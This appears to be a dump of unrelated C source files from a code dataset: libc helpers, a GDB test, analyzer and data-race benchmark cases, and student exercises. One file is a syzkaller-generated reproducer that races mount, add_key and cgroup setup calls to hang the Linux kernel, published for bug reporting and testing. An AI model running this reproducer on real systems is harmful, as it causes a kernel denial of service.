o o o---o---o---o---o o---o o o---o o---o---o o---o
| | | | | |
o---o---o---o---o---o---o---o---o---o---o---o---o---o---o---o---o
*/
int beam94a_maz[] ={
0x0E, 0x08, 0x08, 0x08, 0x08, 0x0A, 0x08, 0x0A, 0x08, 0x0B, 0x0D, 0x0C, 0x08, 0x08, 0x08, 0x09,
0x0C, 0x03, 0x05, 0x07, 0x04, 0x09, 0x05, 0x0E, 0x02, 0x08, 0x02, 0x01, 0x07, 0x07, 0x05, 0x07,
0x05, 0x0C, 0x02, 0x0A, 0x03, 0x06, 0x01, 0x0C, 0x0B, 0x07, 0x0D, 0x05, 0x0D, 0x0C, 0x02, 0x0B,
0x05, 0x04, 0x09, 0x0C, 0x09, 0x0C, 0x00, 0x02, 0x08, 0x09, 0x06, 0x01, 0x04, 0x02, 0x08, 0x0B,
0x05, 0x07, 0x06, 0x03, 0x06, 0x03, 0x06, 0x0A, 0x03, 0x05, 0x0D, 0x04, 0x01, 0x0D, 0x06, 0x09,
0x05, 0x0E, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0B, 0x0F, 0x05, 0x06, 0x03, 0x04, 0x01, 0x0C, 0x03,
0x06, 0x08, 0x0A, 0x0A, 0x0B, 0x0D, 0x0D, 0x0C, 0x09, 0x06, 0x09, 0x0C, 0x03, 0x07, 0x06, 0x09,
0x0D, 0x06, 0x09, 0x0C, 0x09, 0x05, 0x05, 0x04, 0x03, 0x0D, 0x05, 0x06, 0x0A, 0x09, 0x0C, 0x03,
0x04, 0x0A, 0x02, 0x03, 0x05, 0x07, 0x06, 0x00, 0x08, 0x03, 0x06, 0x08, 0x08, 0x03, 0x06, 0x09,
0x06, 0x08, 0x0A, 0x09, 0x05, 0x0D, 0x0E, 0x03, 0x04, 0x08, 0x0B, 0x07, 0x04, 0x09, 0x0C, 0x03,
0x0D, 0x05, 0x0D, 0x06, 0x03, 0x07, 0x0E, 0x09, 0x05, 0x05, 0x0C, 0x09, 0x07, 0x06, 0x01, 0x0D,
0x06, 0x01, 0x06, 0x0A, 0x0A, 0x0A, 0x08, 0x03, 0x07, 0x04, 0x03, 0x06, 0x08, 0x0A, 0x03, 0x05,
0x0D, 0x04, 0x08, 0x0A, 0x0B, 0x0D, 0x04, 0x0A, 0x0A, 0x00, 0x09, 0x0D, 0x06, 0x0A, 0x09, 0x05,
0x05, 0x07, 0x04, 0x09, 0x0D, 0x05, 0x05, 0x0E, 0x08, 0x01, 0x06, 0x02, 0x0A, 0x08, 0x02, 0x03,
0x04, 0x08, 0x03, 0x04, 0x01, 0x06, 0x03, 0x0D, 0x05, 0x04, 0x0A, 0x08, 0x08, 0x00, 0x0B, 0x0D,
0x07, 0x06, 0x0A, 0x03, 0x06, 0x0A, 0x0A, 0x02, 0x03, 0x06, 0x0A, 0x03, 0x07, 0x06, 0x0A, 0x03,
};
/* end of mazefile */
|
the_stack_data/340538.c
|
#ifndef _STRING_MEMCPY_C_
#define _STRING_MEMCPY_C_
#include <string.h>
void * memcpy (void *dest, const void *src, size_t len) {
char *d = dest;
const char *s = src;
while (len--) {
*d++ = *s++;
}
return dest;
}
#endif // _STRING_MEMCPY_C_
|
the_stack_data/187643970.c
|
#include <sys/types.h>
#include <stdarg.h>
#include <stdio.h>
int snprintf(char *str, size_t size, const char *fmt, ...)
{
va_list args;
int ret;
va_start(args, fmt);
ret = vsnprintf(str, size, fmt, args);
va_end(args);
return ret;
}
|
the_stack_data/86075124.c
|
// INFO: task hung in lock_mount
// https://syzkaller.appspot.com/bug?id=7f159bcdfc352416ad3e2f126dfb22704b3bc177
// status:open
// autogenerated by syzkaller (http://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <errno.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <signal.h>
#include <stdarg.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mount.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
__attribute__((noreturn)) static void doexit(int status)
{
volatile unsigned i;
syscall(__NR_exit_group, status);
for (i = 0;; i++) {
}
}
#include <errno.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
const int kFailStatus = 67;
const int kRetryStatus = 69;
static void fail(const char* msg, ...)
{
int e = errno;
va_list args;
va_start(args, msg);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, " (errno %d)\n", e);
doexit((e == ENOMEM || e == EAGAIN) ? kRetryStatus : kFailStatus);
}
static void exitf(const char* msg, ...)
{
int e = errno;
va_list args;
va_start(args, msg);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, " (errno %d)\n", e);
doexit(kRetryStatus);
}
static uint64_t current_time_ms()
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
fail("clock_gettime failed");
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir()
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
fail("failed to mkdtemp");
if (chmod(tmpdir, 0777))
fail("failed to chmod");
if (chdir(tmpdir))
fail("failed to chdir");
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
static void setup_cgroups()
{
if (mkdir("/syzcgroup", 0777)) {
}
if (mkdir("/syzcgroup/unified", 0777)) {
}
if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) {
}
if (chmod("/syzcgroup/unified", 0777)) {
}
if (!write_file("/syzcgroup/unified/cgroup.subtree_control",
"+cpu +memory +io +pids +rdma")) {
}
if (mkdir("/syzcgroup/cpu", 0777)) {
}
if (mount("none", "/syzcgroup/cpu", "cgroup", 0,
"cpuset,cpuacct,perf_event,hugetlb")) {
}
if (!write_file("/syzcgroup/cpu/cgroup.clone_children", "1")) {
}
if (chmod("/syzcgroup/cpu", 0777)) {
}
if (mkdir("/syzcgroup/net", 0777)) {
}
if (mount("none", "/syzcgroup/net", "cgroup", 0,
"net_cls,net_prio,devices,freezer")) {
}
if (chmod("/syzcgroup/net", 0777)) {
}
}
static void setup_binfmt_misc()
{
if (!write_file("/proc/sys/fs/binfmt_misc/register",
":syz0:M:0:syz0::./file0:")) {
}
if (!write_file("/proc/sys/fs/binfmt_misc/register",
":syz1:M:1:yz1::./file0:POC")) {
}
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = 160 << 20;
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 8 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid < 0)
fail("sandbox fork failed");
if (pid)
return pid;
setup_cgroups();
setup_binfmt_misc();
sandbox_common();
if (unshare(CLONE_NEWNET)) {
}
loop();
doexit(1);
}
static void remove_dir(const char* dir)
{
DIR* dp;
struct dirent* ep;
int iter = 0;
retry:
while (umount2(dir, MNT_DETACH) == 0) {
}
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exitf("opendir(%s) failed due to NOFILE, exiting", dir);
}
exitf("opendir(%s) failed", dir);
}
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
struct stat st;
if (lstat(filename, &st))
exitf("lstat(%s) failed", filename);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exitf("unlink(%s) failed", filename);
if (umount2(filename, MNT_DETACH))
exitf("umount(%s) failed", filename);
}
}
closedir(dp);
int i;
for (i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
if (umount2(dir, MNT_DETACH))
exitf("umount(%s) failed", dir);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exitf("rmdir(%s) failed", dir);
}
}
static void execute_one();
extern unsigned long long procid;
static void loop()
{
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
char cgroupdir_cpu[64];
snprintf(cgroupdir_cpu, sizeof(cgroupdir_cpu), "/syzcgroup/cpu/syz%llu",
procid);
char cgroupdir_net[64];
snprintf(cgroupdir_net, sizeof(cgroupdir_net), "/syzcgroup/net/syz%llu",
procid);
if (mkdir(cgroupdir, 0777)) {
}
if (mkdir(cgroupdir_cpu, 0777)) {
}
if (mkdir(cgroupdir_net, 0777)) {
}
int pid = getpid();
char procs_file[128];
snprintf(procs_file, sizeof(procs_file), "%s/cgroup.procs", cgroupdir);
if (!write_file(procs_file, "%d", pid)) {
}
snprintf(procs_file, sizeof(procs_file), "%s/cgroup.procs", cgroupdir_cpu);
if (!write_file(procs_file, "%d", pid)) {
}
snprintf(procs_file, sizeof(procs_file), "%s/cgroup.procs", cgroupdir_net);
if (!write_file(procs_file, "%d", pid)) {
}
int iter;
for (iter = 0;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
fail("failed to mkdir");
int pid = fork();
if (pid < 0)
fail("clone failed");
if (pid == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
if (chdir(cwdbuf))
fail("failed to chdir");
if (symlink(cgroupdir, "./cgroup")) {
}
if (symlink(cgroupdir_cpu, "./cgroup.cpu")) {
}
if (symlink(cgroupdir_net, "./cgroup.net")) {
}
execute_one();
doexit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
int res = waitpid(-1, &status, __WALL | WNOHANG);
if (res == pid) {
break;
}
usleep(1000);
if (current_time_ms() - start < 3 * 1000)
continue;
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
while (waitpid(-1, &status, __WALL) != pid) {
}
break;
}
remove_dir(cwdbuf);
}
}
struct thread_t {
int created, running, call;
pthread_t th;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static int collide;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 0, __ATOMIC_RELEASE);
syscall(SYS_futex, &th->running, FUTEX_WAKE);
}
return 0;
}
static void execute(int num_calls)
{
int call, thread;
running = 0;
for (call = 0; call < num_calls; call++) {
for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
pthread_create(&th->th, &attr, thr, th);
}
if (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) {
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &th->running, FUTEX_WAKE);
if (collide && call % 2)
break;
struct timespec ts;
ts.tv_sec = 0;
ts.tv_nsec = 20 * 1000 * 1000;
syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
if (running)
usleep((call == num_calls - 1) ? 10000 : 1000);
break;
}
}
}
}
uint64_t r[1] = {0xffffffffffffffff};
unsigned long long procid;
void execute_call(int call)
{
long res;
switch (call) {
case 0:
memcpy((void*)0x20000380, "dns_resolver", 13);
*(uint8_t*)0x200003c0 = 0x73;
*(uint8_t*)0x200003c1 = 0x79;
*(uint8_t*)0x200003c2 = 0x7a;
*(uint8_t*)0x200003c3 = 0x21 + procid * 4;
*(uint8_t*)0x200003c4 = 0;
syscall(__NR_add_key, 0x20000380, 0x200003c0, 0x20000400, 0, 0xfffffff9);
break;
case 1:
memcpy((void*)0x20000100, "./cgroup.cpu", 13);
res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000100, 0x200002, 0);
if (res != -1)
r[0] = res;
break;
case 2:
syscall(__NR_fchdir, r[0]);
break;
case 3:
memcpy((void*)0x20000200, "./file0", 8);
syscall(__NR_mkdir, 0x20000200, 0);
break;
case 4:
memcpy((void*)0x2000a000, "./file0", 8);
memcpy((void*)0x20026ff8, "./file0", 8);
memcpy((void*)0x200001c0, "ramfs", 6);
syscall(__NR_mount, 0x2000a000, 0x20026ff8, 0x200001c0, 0x80, 0x200007c0);
break;
case 5:
memcpy((void*)0x20d04000, "./file0", 8);
memcpy((void*)0x20903000, "./file0", 8);
memcpy((void*)0x20000340, "bdev", 5);
syscall(__NR_mount, 0x20d04000, 0x20903000, 0x20000340, 0x100000,
0x200002c0);
break;
case 6:
memcpy((void*)0x20000000, "./file0", 8);
memcpy((void*)0x200000c0, ".", 1);
memcpy((void*)0x20000140, "vxfs", 5);
syscall(__NR_mount, 0x20000000, 0x200000c0, 0x20000140, 0x3080, 0x20000200);
break;
}
}
void execute_one()
{
execute(7);
collide = 1;
execute(7);
}
int main()
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
char* cwd = get_current_dir_name();
for (procid = 0; procid < 8; procid++) {
if (fork() == 0) {
for (;;) {
if (chdir(cwd))
fail("failed to chdir");
use_temporary_dir();
int pid = do_sandbox_none();
int status = 0;
while (waitpid(pid, &status, __WALL) != pid) {
}
}
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/241374.c
|
/* This testcase is part of GDB, the GNU debugger.
Copyright 2015-2021 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <signal.h>
int save_parent;
/* Variable set by GDB. If true, then a fork child (or parent) exits
if its parent (or child) exits. Otherwise the process waits
forever until either GDB or the alarm kills it. */
volatile int exit_if_relative_exits = 0;
/* The fork child. Just runs forever. */
static int
fork_child (void)
{
/* Don't run forever. */
alarm (180);
while (1)
{
if (exit_if_relative_exits)
{
sleep (1);
/* Exit if GDB kills the parent. */
if (getppid () != save_parent)
break;
if (kill (getppid (), 0) != 0)
break;
}
else
pause ();
}
return 0;
}
/* The fork parent. Just runs forever. */
static int
fork_parent (void)
{
/* Don't run forever. */
alarm (180);
while (1)
{
if (exit_if_relative_exits)
{
int res = wait (NULL);
if (res == -1 && errno == EINTR)
continue;
else if (res == -1)
{
perror ("wait");
return 1;
}
else
return 0;
}
else
pause ();
}
return 0;
}
int
main (void)
{
pid_t pid;
save_parent = getpid ();
/* The parent and child should basically run forever without
tripping on any debug event. We want to check that GDB updates
the parent and child running states correctly right after the
fork. */
pid = fork ();
if (pid > 0)
return fork_parent ();
else if (pid == 0)
return fork_child ();
else
{
perror ("fork");
return 1;
}
}
|
the_stack_data/108153.c
|
// PARAM: --enable annotation.int.enabled --set ana.int.refinement fixpoint
#include<stdio.h>
#include<assert.h>
int main () __attribute__((goblint_precision("no-def_exc","interval")));
int main () {
int i,j,k;
i = k = 0; j = 7;
while (i < 10) {
i++;
j = 7;
k = 5;
}
assert(i == 10);
assert(k); //UNKNOWN
// k is currenlty 0 \sqcup 5, if we unfolded the loops it would be 5
assert(j==7);
return 0;
}
|
the_stack_data/248581753.c
|
#include <math.h>
#include <stdio.h>
#include <string.h>
/* Copyright 2021 Melwyn Francis Carlo */
int main()
{
int sum = 0;
int count = 0;
int products_list[1000] = { 0 };
for (int i = 1; i <= 9999; i++)
{
char temp_str_1[10] = { 0 };
sprintf(&temp_str_1[0], "%d", i);
if (strchr(temp_str_1, '0') != NULL)
continue;
int duplicate_found = 0;
for (int j = 0; j < (int)strlen(temp_str_1); j++)
{
for (int k = 0; k < (int)strlen(temp_str_1); k++)
{
if (j == k)
continue;
if (temp_str_1[j] == temp_str_1[k])
{
duplicate_found = 1;
break;
}
}
if (duplicate_found)
break;
}
if (duplicate_found)
continue;
for (int j = 1; j <= 9999; j++)
{
char temp_str_2[10] = { 0 };
sprintf(&temp_str_2[0], "%d", j);
if (strchr(temp_str_2, '0') != NULL)
continue;
duplicate_found = 0;
for (int k = 0; k < (int)strlen(temp_str_2); k++)
{
for (int l = 0; l < (int)strlen(temp_str_2); l++)
{
if (k == l)
continue;
if (temp_str_2[k] == temp_str_2[l])
{
duplicate_found = 1;
break;
}
}
if (duplicate_found)
break;
}
if (duplicate_found)
continue;
duplicate_found = 0;
for (int k = 0; k < (int)strlen(temp_str_2); k++)
{
if (strchr(temp_str_1, temp_str_2[k]) != NULL)
{
duplicate_found = 1;
break;
}
}
if (duplicate_found)
continue;
int product = i * j;
int product_length = ((int)log10(product) + 1);
char temp_str_3[product_length+1];
memset(&temp_str_3[0], 0, product_length + 1);
sprintf(&temp_str_3[0], "%d", product);
if (strchr(temp_str_3, '0') != NULL)
continue;
int total_length = product_length
+ (int)strlen(temp_str_1)
+ (int)strlen(temp_str_2);
if (total_length > 9)
break;
if (total_length != 9)
continue;
duplicate_found = 0;
for (int k = 0; k < (int)strlen(temp_str_3); k++)
{
for (int l = 0; l < (int)strlen(temp_str_3); l++)
{
if (k == l)
continue;
if (temp_str_3[k] == temp_str_3[l])
{
duplicate_found = 1;
break;
}
}
if (duplicate_found)
break;
}
if (duplicate_found)
continue;
int duplicate_found = 0;
for (int k = 0; k < product_length; k++)
{
if ((strchr(temp_str_1, temp_str_3[k]) != NULL)
|| (strchr(temp_str_2, temp_str_3[k]) != NULL))
{
duplicate_found = 1;
break;
}
}
if (duplicate_found)
continue;
products_list[count++] = product;
}
}
for (int i = 0; i < count; i++)
{
for (int j = 0; j < count; j++)
{
if (i == j)
continue;
if (products_list[i] == products_list[j])
products_list[j] = 0;
}
}
for (int i = 0; i < count; i++)
sum += products_list[i];
printf("%d\n", sum);
return 0;
}
|
the_stack_data/153268224.c
|
/* Transpose a 2-d array */
#include <stdio.h>
#define ROW 3
#define COLUMN 4
void printMatrix(int matrix[][COLUMN], int row, int column);
void main(){
int mat[ROW][COLUMN] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 12, 11};
printMatrix(mat, ROW, COLUMN);
int mat_t[COLUMN][ROW];
for (int i=0; i<ROW; i++){
for (int j=0; j<COLUMN; j++){
mat_t[j][i] = mat[i][j];
}
}
for (int i=0; i<COLUMN; i++){
for (int j=0; j<ROW; j++){
printf("%d\t", mat_t[i][j]);
}
putchar('\n');
}
}
void printMatrix(int matrix[][COLUMN], int row, int column){
for (int i=0; i<row; i++){
for (int j=0; j<column; j++){
printf("%d\t", matrix[i][j]);
}
putchar('\n');
}
}
/* Test Note:
how can I define a generic matrix print function?
*/
|
the_stack_data/915272.c
|
// Copyright (c) 2020, devgo.club
// All rights reserved.
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char const *argv[])
{
puts("demo1:");
int8_t i = 0;
while (i < 10)
{
++i;
if (i == 6)
{
continue;
}
printf("i = %hhd\n", i);
}
puts("demo2:");
i = 0;
while (i < 10)
{
++i;
if (i == 6)
{
break;
}
printf("i = %hhd\n", i);
}
puts("demo3:");
i = 0;
do
{
++i;
printf("i = %hhd\n", i);
} while (i > 100);
return EXIT_SUCCESS;
}
|
the_stack_data/61074828.c
|
#include <stdio.h>
#ifdef _WIN32
__declspec(dllexport)
#endif
void moveable_function(void)
{
fprintf(stdout, "Hello from lib2_moveable.c\n");
fflush(stdout);
}
|
the_stack_data/178266181.c
|
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
int main() {
int a, b;
scanf("%d%d", &a, &b);
printf("%d\n", a + b);
return 0;
}
|
the_stack_data/40762220.c
|
/*
Copyright (c) 2017, Lawrence Livermore National Security, LLC.
Produced at the Lawrence Livermore National Laboratory
Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund,
Markus Schordan, and Ian Karlin
(email: [email protected], [email protected], [email protected],
[email protected], [email protected])
LLNL-CODE-732144
All rights reserved.
This file is part of DataRaceBench. For details, see
https://github.com/LLNL/dataracebench. Please also see the LICENSE file
for our additional BSD notice.
Redistribution and use in source and binary forms, with
or without modification, are permitted provided that the following
conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the disclaimer below.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the disclaimer (as noted below)
in the documentation and/or other materials provided with the
distribution.
* Neither the name of the LLNS/LLNL nor the names of its contributors
may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL
SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
A kernel for two level parallelizable loop with reduction:
if reduction(+:sum) is missing, there is race condition.
Data race pairs:
sum@72:7 vs. sum@72:7
sum@72:7 vs. sum@72:13
*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
int i,j;
float temp, sum=0.0;
int len=100;
if (argc>1)
len = atoi(argv[1]);
float u[len][len];
for (i = 0; i < len; i++)
for (j = 0; j < len; j++)
u[i][j] = 0.5;
for (i = 0; i < len; i++)
for (j = 0; j < len; j++)
{
temp = u[i][j];
sum = sum + temp * temp;
}
printf ("sum = %f\n", sum);
return 0;
}
|
the_stack_data/7949615.c
|
//例子参考thread_pool
|
the_stack_data/656998.c
|
/*
* MIT License
*
* Copyright (c) 2018 Kalate Hexanome, 4IF, INSA Lyon
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/*
* Multi-line comment.
*/
#include <stdio.h>
#include <stdint.h>
int32_t main() {
putchar('0' + (3 * 5 - 9)); // 6
putchar('\n');
putchar('0' + (10 / 3 + 4 - 8 % 3)); // 5
putchar('\n');
return 0;
}
|
the_stack_data/130759.c
|
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <errno.h>
int num_threads = 1, num_files;
char *path, *name, *extension;
void *create_files(void *id_pointer) {
int id = *(int*)id_pointer;
int files_to_create = num_files / num_threads;
int start_file = files_to_create * id;
int end_file = start_file + files_to_create;
if (id == num_threads - 1) {
end_file = num_files;
}
char file[256];
for (int i = start_file; i < end_file; i++) {
sprintf(file, "%s/%s%03i.%s", path, name, i + 1, extension);
FILE *f = fopen(file, "w");
printf("Hilo \033[01;33m%i\033[0m ha creado el fichero \033[01;34m%s\033[0m\n", id, file);
fclose(f);
}
pthread_exit(0);
}
void start_threads() {
pthread_t threads[num_threads];
int thread_ids[num_threads];
for (int i = 0; i < num_threads; i++) {
thread_ids[i] = i;
pthread_create(&threads[i], NULL, create_files, (void*)&thread_ids[i]);
}
for (int i = 0; i < num_threads; i++) {
pthread_join(threads[i], NULL);
}
exit(0);
}
void eval_args(int argc, char **argv) {
if (argc < 5) {
printf("Uso:\n%s ruta nombre extension numero [hilos]\n", argv[0]);
exit(-1);
}
DIR *dir = opendir(argv[1]);
if (errno == ENOENT) {
printf("El directorio %s no existe\n", argv[1]);
exit(-1);
}
closedir(dir);
path = argv[1];
name = argv[2];
extension = argv[3];
num_files = atoi(argv[4]);
if (argc == 6) {
num_threads = atoi(argv[5]);
}
}
int main(int argc, char **argv) {
eval_args(argc, argv);
start_threads();
}
|
the_stack_data/167331835.c
|
#include <stdio.h>
#include <stdlib.h>
struct LL;
typedef struct LL *Position;
struct LL {
int x;
Position Next;
};
Position FindPreviousGreater(Position, int);
Position Insert(Position, int);
struct LL Union(Position, Position);
struct LL Intersection(Position, Position);
int ReadList(char fileName[32], Position);
int Print(Position);
int main(int argc, char **argv) {
struct LL list1, list2;
list1.Next = NULL;
list2.Next = NULL;
ReadList("5_1.txt", &list1);
ReadList("5_2.txt", &list2);
Print(list1.Next);
Print(list2.Next);
Print(Intersection(list1.Next, list2.Next).Next);
Print(Union(list1.Next, list2.Next).Next);
}
struct LL Intersection(Position P1, Position P2) {
struct LL Result;
Result.Next = NULL;
while(P1 != NULL && P2 != NULL) {
if(P1->x > P2->x) P2 = P2->Next;
else if(P2->x > P1->x) P1 = P1->Next;
else {
Insert(&Result, P1->x);
P1 = P1->Next; P2 = P2->Next;
}
}
return Result;
}
struct LL Union(Position P1, Position P2) {
Position temp;
struct LL Result;
Result.Next = NULL;
while(P1 != NULL && P2 != NULL) {
if(P1->x > P2->x) {
Insert(&Result, P2->x);
P2 = P2->Next;
}else if(P2->x > P1->x) {
Insert(&Result, P1->x);
P1 = P1->Next;
}else {
Insert(&Result, P1->x);
P1 = P1->Next; P2 = P2->Next;
}
}
temp = P2;
if(P1 != NULL) temp = P1; // There's something left off P1, we have to add it.
while(temp != NULL) {
Insert(&Result, temp->x);
temp = temp->Next;
}
return Result;
}
int Print(Position P) {
while(P != NULL) {
printf("%d ", P->x);
P = P->Next;
}
printf("\n");
return 0;
}
Position Insert(Position P, int element) {
Position temp = (Position)malloc(sizeof(struct LL));
if(!temp) {
printf("Alokacija memorije neuspjela.\n");
return NULL;
}
temp->x = element;
temp->Next = P->Next;
P->Next = temp;
return temp;
}
Position FindPreviousGreater(Position P, int element) {
while(P->Next != NULL) {
if(element <= P->Next->x) break;
P = P->Next;
}
return P;
}
int ReadList(char fileName[32], Position P) {
FILE *fp = fopen(fileName, "r");
int temp;
if(!fp) {
printf("Učitavanje datoteke neuspjelo.\n");
return -1;
}
while(1) {
fscanf(fp, "%d", &temp);
if(!temp) break; // Something fucked up lol.
if(feof(fp)) break; // We hit end of file.
// Insert it before the first greater element.
Insert(FindPreviousGreater(P, temp), temp);
}
fclose(fp); fp = NULL;
return 0;
}
|
the_stack_data/596733.c
|
int ternary_true();
int main()
{
return !(ternary_true() == 5);
}
|
the_stack_data/116397.c
|
// UNSAFE
void main(){
int a,b;
int x = 0;
int y = 1;
if (a > 0) x=x+1; else x = x+2;
if (b > 0) x=x+3; else x = x+4;
_TRACER_abort(x > 0);
return;
}
|
